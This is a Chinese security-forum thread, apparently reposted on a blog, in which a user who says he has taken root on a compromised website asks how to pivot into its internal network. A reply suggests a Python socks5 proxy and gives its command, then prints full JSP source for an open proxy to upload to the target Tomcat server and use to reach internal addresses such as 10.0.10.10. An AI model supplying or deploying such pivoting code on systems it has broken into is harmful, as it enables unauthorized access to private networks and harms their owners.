您的位置：首页 > Web前端 > JavaScript

疯子求助-梧桐雨解答的jsp proxy

2016-03-30 12:07 477 查看

关于linux shell 内网如何做代理

踩(0)
顶(14)
疯子 (世人笑我太疯癫，我笑世人看不穿。)

|
2014-05-30 20:24

最近渗透一个网站拿到一个shell root权限已提权

现在想渗透内网想做一个代理并且扫描内网可是一直找不到怎么做内网代理求个好方法谢谢！

有好方法的或者成功的 WB 感谢！
取消收藏感谢(1)
分享到：

1

24 个回复

1# 感谢(1)

梧桐雨

(‮ofni.uygnotuw‮)

|
2014-05-30 20:29

如果想漫游内网的话在服务器上弄个sock5代理就好了。

参考例子：
http://zone.wooyun.org/content/1693
linux基本上支持python的，只要支持，那么可以试试80vul的 python socks5代理。客户端推荐用：Proxycap

如果是php，就很简单了，很多代理可扫描内网的。百度一下就有许多，结合自己实际情况改改就可以用了。

2#
梧桐雨

(‮ofni.uygnotuw‮)

|
2014-05-30 20:31

80vul 的 socks5代理用法 python 文件名你想要开的端口

例子 : python socks5.py 9999

3#
疯子 (世人笑我太疯癫，我笑世人看不穿。)

|
2014-05-30 20:37

@梧桐雨每次都是妹子你来帮我，都不知道怎么说了，小小的1WB不成敬意！

4#
xiaoL (http://www.xlixli.net)

|
2014-05-30 20:37

@梧桐雨

梧桐雨什么的最有爱了

5# 感谢(1)

疯子 (世人笑我太疯癫，我笑世人看不穿。)

|
2014-05-30 20:38

还有好的想法的小伙伴们也共享出来我们一起漫游内网！

6#
疯子 (世人笑我太疯癫，我笑世人看不穿。)

|
2014-05-30 20:39

@梧桐雨恩我这个是JAVA的tomcat jsp 所以我试一下80vul的谢谢！

7#
梧桐雨

(‮ofni.uygnotuw‮)

|
2014-05-30 20:43

@疯子 jsp一个很简单的proxy，只要用力把它甩到目标服务器上，然后这么访问：proxy.jsp?http://10.0.10.10 就可以进行漫游了，不过有些内部资源可能加载不出来。

<%@page session="false"%>

<%@page import="java.net.*,java.io.*" %>

<%

try {

String reqUrl = request.getQueryString();

URL url = new URL(reqUrl);

HttpURLConnection con = (HttpURLConnection)url.openConnection();

con.setDoOutput(true);

con.setRequestMethod(request.getMethod());

int clength = request.getContentLength();

if(clength > 0) {

con.setDoInput(true);

byte[] idata = new byte[clength];

request.getInputStream().read(idata, 0, clength);

con.getOutputStream().write(idata, 0, clength);

}

response.setContentType(con.getContentType());

BufferedReader rd = new BufferedReader(new InputStreamReader(con.getInputStream()));

String line;

while ((line = rd.readLine()) != null) {

out.println(line);

}

rd.close();

} catch(Exception e) {

response.setStatus(500);

}

%>

把上面的代码保存成jsp就可以了。

8#
疯子 (世人笑我太疯癫，我笑世人看不穿。)

|
2014-05-30 20:45

@梧桐雨好的我主要还是要做扫描所以还是用socks5 谢谢！